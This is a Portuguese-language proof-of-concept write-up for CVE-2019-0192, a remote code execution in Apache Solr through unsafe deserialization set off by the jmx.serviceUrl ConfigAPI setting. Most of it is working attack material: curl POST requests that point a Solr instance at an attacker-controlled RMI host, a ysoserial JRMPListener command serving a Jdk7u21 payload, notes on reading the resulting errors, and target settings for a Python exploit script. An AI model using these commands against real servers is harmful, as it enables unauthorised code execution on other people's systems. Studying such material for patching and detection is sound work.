
RCE no Apache Solr usando desserialização de dados não confiáveis via jmx.serviceUrl
Este é um PoC inicial da RCE do Apache Solr
De https://issues.apache.org/jira/browse/SOLR-13301:
O ConfigAPI permite configurar o servidor JMX do Solr por meio de uma requisição HTTP POST. Ao apontá-lo para um servidor RMI malicioso, um atacante poderia aproveitar a desserialização insegura do Solr para disparar a execução remota de código no lado do Solr.

Observando a descrição do aviso de segurança e verificando os recursos do Apache Solr na ConfigAPI, podemos encontrar uma referência a um servidor JMX:

serviceUrl - (str opcional) URL de serviço para um servidor JMX. Se não for especificada, o servidor MBean padrão da plataforma será usado.
Ao verificar como o ConfigAPI funciona, podemos reproduzir como definir um servidor JMX remoto:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Para a PoC, usarei o yoserial para criar um servidor RMI malicioso usando o payload Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
nota: você deve obter um erro 500 com um belo stacktrace
Se você viu este erro: "Non-annotation type in annotation serial stream", significa que o Apache Solr está rodando com uma versão do Java > JRE 7u25 e esta PoC não funcionará
Caso contrário, você deve ver este erro: "undeclared checked exception; nested exception is" e a PoC deve funcionar.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Aviso de Segurança: